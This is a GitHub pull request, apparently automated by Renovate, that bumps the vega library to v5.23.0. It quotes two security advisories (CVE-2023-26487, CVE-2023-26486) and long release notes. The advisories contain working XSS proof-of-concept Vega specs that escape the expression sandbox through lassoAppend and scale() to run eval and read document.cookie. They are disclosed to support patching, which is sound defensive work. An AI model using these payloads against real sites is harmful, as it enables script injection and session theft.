Update dependency vega to v5.23.0 [SECURITY] #78
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
This PR contains the following updates:
5.6.0->5.23.0GitHub Vulnerability Alerts
CVE-2023-26487
Summary
Vega's
lassoAppendfunction:lassoAppendaccepts 3 arguments and internally invokespushfunction on the 1st argument specifying array consisting of 2nd and 3rd arguments aspushcall argument. The type of the 1st argument is supposed to be an array, but it's not enforced.This makes it possible to specify any object with a
pushfunction as the 1st argument,pushfunction can be set to any function that can be access viaevent.view(no all such functions can be exploited due to invalid context or signature, but some can, e.g.console.log).Details
The issue is that
lassoAppenddoesn't enforce proper types of its arguments:PoC
Use the following Vega snippet (depends on browser's non-built-in
event.view.setImmediatefunction, feel free to replace withevent.view.console.logor alike and observe the result in the browser's console){ "$schema": "https://vega.github.io/schema/vega/v5.json", "width": 350, "height": 350, "autosize": "none", "description": "Toggle Button", "signals": [ { "name": "toggle", "value": false, "on": [ { "events": {"type": "click", "markname": "circle"}, "update": "toggle ? false : true" } ] }, { "name": "addFilter", "on": [ { "events": {"type": "mousemove", "source": "window"}, "update": "lassoAppend({'push':event.view.setImmediate},'alert(document.domain)','alert(document.cookie)')" } ] } ], "marks": [ { "name": "circle", "type": "symbol", "zindex": 1, "encode": { "enter": { "y": {"signal": "height/2"}, "angle": {"value": 0}, "size": {"value": 400}, "shape": {"value": "circle"}, "fill": {"value": "white"}, "stroke": {"value": "white"}, "strokeWidth": {"value": 2}, "cursor": {"value": "pointer"}, "tooltip": {"signal": "{Tip: 'Click to fire XSS'}"} }, "update": {"x": {"signal": "toggle === true ? 190 : 165"}} } }, { "name": "rectangle", "type": "rect", "zindex": 0, "encode": { "enter": { "x": {"value": 152}, "y": {"value": 162.5}, "width": {"value": 50}, "height": {"value": 25}, "cornerRadius": {"value": 20} }, "update": { "fill": {"signal": "toggle === true ? '#​006BB4' : '#​939597'"} } } } ] }Impact
This issue opens various XSS vectors, but exact impact and severity depends on the environment (e.g. Core JS
setImmediatepolyfill basically allowseval-like functionality).CVE-2023-26486
Summary
The Vega
scaleexpression function has the ability to call arbitrary functions with a single controlled argument. This can be exploited to escape the Vega expression sandbox in order to execute arbitrary JavaScript.Details
The scale expression function passes a user supplied argument
groupto getScale, which is then used as if it were an internal context. Thecontext.scales[name].valueis accessed fromgroupand called as a function back inscale.PoC
The following Vega definition can be used to demonstrate this issue executing the JavaScript code
alert(1);{ "$schema": "https://vega.github.io/schema/vega/v5.json", "data": [ { "name": "XSS PoC", "values": [1], "transform": [ { "type": "formula", "as": "amount", "expr": "scale('func', null, {context: {scales: {func: {value: scale('func', 'eval(atob(\"YWxlcnQoMSk7\"))', {context: {scales: {func: {value: [].constructor.constructor}}}})}}}})" } ] } ] }This can be viewed in the Vega online IDE at https://vega.github.io/editor/#/url/vega/N4IgJAzgxgFgpgWwIYgFwhgF0wBwqgegIDc4BzJAOjIEtMYBXAI0poHsDp5kTykSArJQBWENgDsQAGhAATJJhSoA2qHFIEcNCAAaAZT0ACAApsAwtJDEkAGwZwIaZQEYAujMwAnJOIgAzNk8EJ1BMAE8cLXQAoIYbFBkkR3QNNgZxTEs4AA8cT21oWzgACgByP3SoUqlDcTibGsNgKAlMHMxUJsKbB07gCvEoPus7OE7ukvLK6sNSuBHihTYmYoAdEABNAHVsmyhxAEU2AFk9AGsAdnWASmuZ5tb2von8JoGhppH7TuVXShbfF4GFBMIF-hIIECQYEAL5wmHXeEIkAw1yomFAA
Release Notes
vega/vega (vega)
v5.23.0Compare Source
Changes from v5.22.1:
This version contains dependency updates, bug fixes, and security patches, plus a few extra utilities to aid Vega-Lite.
monorepo
.mjsextensions.vega-canvas
vega-crossfilter
vega-dataflow
vega-encode
vega-event-selector
vega-expression
vega-force
vega-format
vega-functions
lassoAppendexpression function XSS. (Thanks @arvind!)scaleexpression function XSS (Thanks @ajxchapman and @hydrosquall!)vega-geo
vega-hierarchy
vega-interpreter
vega-label
vega-loader
vega-parser
viewstyle for Vega-Lite, #3480 (Thanks @arvind!)vega-projection
vega-projection-extended
vega-regression
vega-runtime
vega-scale
registerScale()andisRegisteredScale()methods. (Thanks @hydrosquall!)vega-scenegraph
vega-schema
__count__private from schema, #3659 (Thanks @lsh!)vega-selections
vega-statistics
vega-time
vega-transforms
vega-typings
__count__private from schema, #3659 (Thanks @lsh!)vega-util
vega-view
vega-view-transforms
vega-voronoi
vega-wordcloud
vega-cli
vega
v5.22.1Compare Source
Changes from v5.22.0:
monorepo
vega-scenegraph
v5.22.0Compare Source
Changes from v5.21.0:
docs
monorepo
vega-functions
vega-label
vega-scenegraph
vega-selections
vega-transforms
vega-typings
v5.21.0Compare Source
Changes from v5.20.2:
monorepo
vega
vega-event-selector
vega-expression
vega-label
vega-loader
baseURLis not prepended todata:URLs. (#3195)vega-parser
vega-runtime
vega-statistics
sampleCurveutility to properly scale values in angle subdivision test. (#3173)vega-typings
vega-util
v5.20.2Compare Source
Changes from v5.20.1:
vega-view
v5.20.1Compare Source
Changes from v5.20.0:
monorepo
vega-dataflow
vega-transforms
vega-typings
v5.20.0Compare Source
Changes from v5.19.1:
monorepo
vega
vega-scenegraph
vega-schema
vega-typings
vega-util
vega-view
v5.19.1Compare Source
Changes from v5.19.0:
vega-schema
v5.19.0Compare Source
Changes from v5.18.0:
vega-functions
pluckexpression function. (thanks @arvind!)vega-parser
valuesproperty. (thanks @domoritz!)vega-scenegraph
vega-schema
vega-selections
v5.18.0Compare Source
Changes from v5.17.3:
vega
vega-functions
vega-selections
v5.17.3Compare Source
Changes from v5.17.2:
vega-expression
vega-functions
vega-parser
vega-view
v5.17.2Compare Source
Changes from v5.17.1:
vega-expression
vega-functions
vega-parser
vega-schema
vega-selections
vega-view
v5.17.1Compare Source
Changes from v5.17.0:
vega-geo
vega-expression
vega-typings
v5.17.0Compare Source
Changes from v5.16.1:
vega-canvas
vega-loader
vega-util
isIterableutility.v5.16.1Compare Source
Changes from v5.16.0:
monorepo
v5.16.0Compare Source
Notable Changes
labeltransform automatically positions labels without overlapping other marks. (Thanks @chanwutk!)Changelog
Changes from v5.15.0:
docs
monorepo
vega
vega-canvas
vega-crossfilter
vega-dataflow
vega-encode
vega-event-selector
vega-expression
vega-functions
vega-force
vega-format
vega-geo
vega-hierarchy
vega-interpreter
vega-label
vega-loader
vega-parser
vega-projection
vega-projection-extended
vega-regression
vega-runtime
vega-scale
vega-scenegraph
vega-schema
vega-selections
vega-statistics
vega-time
vega-transforms
vega-typings
vega-util
vega-view-transforms
vega-view
vega-voronoi
vega-wordcloud
v5.15.0Compare Source
Changes from v5.14.0:
monorepo
vega
vega-corebuild to use D3 v6.vega-scale
turboandcividiscolor palettes. (thanks @mcnuttandrew!)v5.14.0Compare Source
Notable Changes
functiondeclarations where appropriate.letandconsttovar.Changelog
Changes from v5.13.0:
vega-cli
vega-canvas
vega-crossfilter
vega-dataflow
addAllto clear rem set when applicable. This prevents tuple removal from being invoked on newly instantiated operators that never observed those tuples in the first place. (#2605)vega-encode
vega-event-selector
vega-expression
vega-force
vega-format
vega-functions
vega-geo
vega-hierarchy
vega-label
vega-loader
vega-parser
vega-projection
vega-regression
vega-scale
vega-scenegraph
markupandserializeXMLutilities for SVG string output. Ensure proper XML output. (#2672)xmllintchecks to test conformance of SVG output.SVGStringRendererclass methods to use markup utility.openTag,closeTagutilities.vega-statistics
vega-time
vega-transforms
vega-view-transforms
vega-view
vega-util
membersargument toinheritsutility.ascendingcomparator utility.vega-voronoi
vega-wordcloud
v5.13.0Compare Source
Notable Changes
Improved Streaming Performance.
For performance, Vega caches a lot of internal data structures, including calculated tuples, scenegraph items, and SVG DOM nodes. Previously, nested scopes (such as those created for facetted data) that result in vega-runtime subcontexts were never cleaned. If no external View API calls are made, this is fine, and actually improves performance for interaction-driven dynamic filtering. However, when providing streaming data to Vega through the View API, uncleaned caches and subcontexts can result in substantial memory leaks that also eventually degrade performance.
This version adds mechanisms for clearing caches and detaching subflows to support streaming data within nested specifications. When input data is removed via a View API call or via signal-valued URL, Vega will now by default trigger garbage collection to reclaim resources. This behavior can be disabled by calling
clean(false)on a constructed ChangeSet passed to the View API.Improved Cursor Performance.
Previously Vega updated the
cursorstyle on the HTML document body. This persists cursor settings even during interactions (such as drags) that may leave the Vega View component. However, it also can result in large performance penalties in Chrome, which re-evaluates CSS styles in response. This version changes the default behavior to set the cursor locally on the Vega View component. If a global cursor is desired, the boolean config propertyevents.globalCursorcan be settrueor the View methodglobalCursorcan be invoked to change the setting at runtime.Optional Expression Interpreter.
This release adds interpreter support for Vega expressions that is Content Security Policy (CSP) compliant. By default, the Vega parser performs code generation for parsed Vega expressions, and the Vega runtime uses the Function constructor to create JavaScript functions from the generated code. Although the Vega parser includes its own security checks, the runtime generation of functions from source code nevertheless violates security policies designed to prevent cross-site scripting.
This release provides an interpreter plug-in (the new
vega-interpreterpackage) that evaluates expressions by traversing an Abstract Syntax Tree (AST) for an expression and performing each operation in turn. Use of the interpreter enables compliance with CSP, but can incur a performance penalty. In tests of initial parse and dataflow evaluation times, the interpreter is on average ~10% slower. Interactive updates may incur higher penalties, as they are often more expression-heavy and amortize the one-time cost of Function constructor parsing.Changelog
Changes from v5.12.3:
vega
stream.htmlandstream-nested.htmlperformance test pages.vega-dataflow
detachmethod toOperatorto remove adjacent edges (listeners) from the dataflow graph.cleansetter toChangeSet, set totrueby default if any tuples are removed.cleangetter/setter to Pulse, propagate value to forked pulses if they share a datasource.vega-encode
DataJointransform to clean internal map whenpulse.clean()is true.Scaleto includedomainMidas an extrema if it exceeds the domain min or max. (#2656)vega-functions
undefinedinput. This ensures identical semantics with the internal_scalehelper function used by code-generated encoders.vega-geo
vega-interpreter
vega-projection
vega-projection-extended
vega-runtime
detachmethod to remove subcontexts. Export asdetachSubflowon the head operator of a generated subflow.vega-statistics
numbersutility to exclude empty string.vega-transforms
Aggregatetransform to clean internal map whenpulse.clean()is true.Facet,PreFacet, andSubflowtransforms to prune subflows in response topulse.clean().Loadtransform to setpulse.clean(true)when removing loaded data.BinandExtentto treat empty string as a missing value. (thanks @domoritz!)vega-typings
eventConfig.globalCursorto config typings.vega-util
fastmapandvisitArrayutilities.vega-view
exprto pass in a custom expression evaluator.globalCursormethod and event configuration.v5.12.3Compare Source
Notable Changes
The previous Vega v5.12.0 release introduced changes to how SVG was generated, including the addition of an internal stylesheet. However, this leads to integration issues with downstream tools (including at least one popular SVG optimizer) that do not support stylesheet parsing. In addition, local performance tests indicate faster rendering in Chrome when using presentation attributes instead of CSS styling. This version (v5.12.3) now changes the SVG output to favor presentation attributes (
fill="blue") over CSS style (style="fill: blue;").CSS styles have been removed in all but one case: the use of
image-renderingfor non-smoothed images, where browser differences require multiple style definitions to appease both Chrome and Firefox, something we can't express with presentation attributes alone. If and when Firefox properly supportsimage-rendering: pixelatedwe can consider dropping this last use of CSS.Note that external stylesheets can still be used to style Vega SVG content, and may now have higher specificity due to the use of attributes.
Changelog
Changes from v5.12.2:
monorepo
vega
vega-cli
vega-format
vega-geo
vega-hierarchy
vega-parser
vega-projections-extended
vega-scenegraph
vega-schema
vega-time
vega-transforms
v5.12.2Compare Source
Changes from v5.12.1:
vega-scenegraph
vega-typings
v5.12.1Compare Source
Changes from v5.12.0:
monorepo
vega-cli
vega-parser
vega-scenegraph
vega-transforms
vega-typings
vega-view
v5.12.0Compare Source
Notable Additions
localeoption, and Vega specs support aconfig.localeproperty. Locale objects should havenumberand/ortimeproperties that map to valid d3-format or d3-time-format locale definitions.toCanvasnow accepts anexternalContextoption to draw into a separately managed canvas instance. For example, one could draw multiple Vega views into the same node-canvas instance for server-side PDF document generation.orientproperties. This addition allows the position of an axis (e.g., left versus right) to be dynamically updated at runtime. The feature should be considered experimental; subtle bugs may still arise.astoption flag to include generated abstract syntax trees for expressions in the parser output. AllFunctionconstructor use for generated code is now consolidated into a single file in the vega-runtime package and could be overridden if an expression AST interpreter is implemented.Changelog
Changes from v5.11.1:
vega
bar-timetest specification to test locale config usage.budget-forecaststest specification.vega-cli
vega-dataflow
vega-encode
vega-expression
thisglobal variable.vega-format
vega-functions
thiscontext.vega-geo
sizesetter input checks.vega-loader
readmethod.vega-parser
codeproperty.translateproperty. (Thanks @haldenl!)orientproperty. (Thanks @haldenl!)parse.astparse option to enable AST output from expression parser.vega-runtime
vega-scale
vega-scenegraph
externalContextCanvasRenderer option. (Thanks @pixelspark!)resetSVGDefIdsto reset gradient and clip id counter. (Thanks @kanitw!)vega-schema
translatesignal support to schema.orientto schema.vega-time
vega-transforms
Functionconstructor.vega-typings
externalCanvasrender option to typings.translatesignal support to typings.orientto typings.vega-util
field,key, andcomparemethods to no longer use theFunctionconstructor.vega-view
vega-view-transforms
ViewLayoutreflow to ensure group bounds are updated. (#2568)vega-wordcloud
v5.11.1Compare Source
Changes from v5.11.0:
monorepo
vega-hierarchy
vega-scenegraph
vega-statistics
vega-view-transforms
v5.11.0Compare Source
Notable Additions
descriptionandariaproperties. Individual mark items do not include ARIA attributes by default (which helps prevent bloat of both the scenegraph and output SVG), but these can be added usingdescriptionandariaencoding channels.dayofyeartime unit support for thetimeunittransform.dayofyear,week,utcdayofyear, andutcweekexpression functions.domainCap,gridCap, andtickCapproperties.Changelog
Changes from v5.10.1:
monorepo
vega
calendartest specification.overview-detail-binstest spec to test suite.descriptionproperty output.vega-encode
vega-functions
dayofyear,week,utcdayofyear,utcweekexpression functions.vega-geo
vega-parser
ariaanddescriptionproperties.zindexsupport for guide config.domainCap,gridCap, andtickCapproperties. (Thanks @kanitw!)vega-scale
domainCaptionutility.tickMinStep(#2550, thanks @rwoollen!)vega-scenegraph
<g>tags for mark items include automaticroleandaria-roleDescriptionattributes.<g>tags for axes and legends include automaticaria-labelcaptions.ariaanddescriptionproperties. Ifariaisfalse, the content is hidden from the accessibility tree by settingaria-hiddenSVG attribute. Thedescriptionproperty determines thearia-labelSVG attribute.ariaanddescription. If adescriptionis provided andaria !== false, then Vega will generate accompanyingroleandaria-roledescriptionattributes for a mark item.ariaRoleandariaRoleDescriptionencoding channels for individual marks, which override the defaultroleandaria-roledescriptionattributes generated by Vega. However, note that these are experimental features and so may change at a later date.vega-schema
domainCap,gridCap, andtickCapproperties.vega-time
dayofyeartime unit support and corresponding tests.dayofyear,week,utcdayofyear,utcweekutility functions.TIME_UNITSarray of valid time unit strings.vega-transforms
TimeUnittransform parameter schema to enforce valid time unit strings.vega-typings
dayofyearoption toTimeUnittransform typings.zindexsupport for guide config.domainCap,gridCap, andtickCapproperties.vega-view
v5.10.1Compare Source
Changes from v5.10.0:
vega-encode
vega-loader
startsWithrather thanindexOffor string prefix checks.vega-parser
startsWithrather thanindexOffor string prefix checks.fillandsizefortrailmark config.vega-transforms
windowoperator init state forprev_valueandnext_value. (#2475.)vega-typings
vega-view-transforms
Overlaptransform to early exit when there are no items (#2449).v5.10.0Compare Source
Notable Additions
backgroundsignal which the view uses to set the background color. While not technically a breaking change (specs will still parse and evaluate successfully), existing specs that use a signal named"background"may not render the same as before, in which case a different signal name should be used.autosize,background,padding,width,height) accept signal references, such as{"signal": "<expr>"}, which map to a signal definition'supdateproperty. If the top-levelsignalsarray contains an entry that matches one of these properties, the definitions will be merged, with precedence given to the properties defined in thesignalsarray.roleattribute is set to"figure", and thearia-labelattribute is set to the specificationdescriptionproperty.aggregateandwindowtransforms support theproductoperation to multiply values.lineBreakoption for setting a global default for text line breaks. This property should be a string or regexp value, or a corresponding signal reference.baselinevaluesline-topandline-bottom. These values are similar totopandbottombaselines, but calculated relative to thelineHeightrather thanfontSizealone.blendencoding channel. The allowed values are:multiply,screen,overlay,darken,lighten,color-dodge,color-burn,hard-light,soft-light,difference,exclusion,hue,saturation,color,luminosity. For Canvas rendering, the blend is set via the context 2DglobalCompositeOperationproperty. For SVG rendering, the blend is set via the CSSmix-blend-modestyle. The default Vega value isnull(orundefined), which maps to the default values"source-over"(for Canvas) and"normal"(for SVG). For more, see the CanvasglobalCompositeOperationand CSSmix-blend-modedocumentation, including limitations in cross-browser support.crossOrigin="anonymous"by default for loaded images, which allows images loaded from a different host to be included in exported visualization images (and thereby avoid "tainted canvas errors"), so long as the server provides permission via proper CORS headers. This default can be overridden by providing loader options to the Vega view that include acrossOriginproperty. If this property is defined and maps to a value ofnullorundefined, then ano-corsfetch will be performed instead.labelOffsetproperty to adjust axis label position in addition totickOffset, andlabelLineHeightto set the lConfiguration
📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).
🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.
♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.
🔕 Ignore: Close this PR and you won't be reminded about this update again.
This PR has been generated by Mend Renovate. View repository job log here.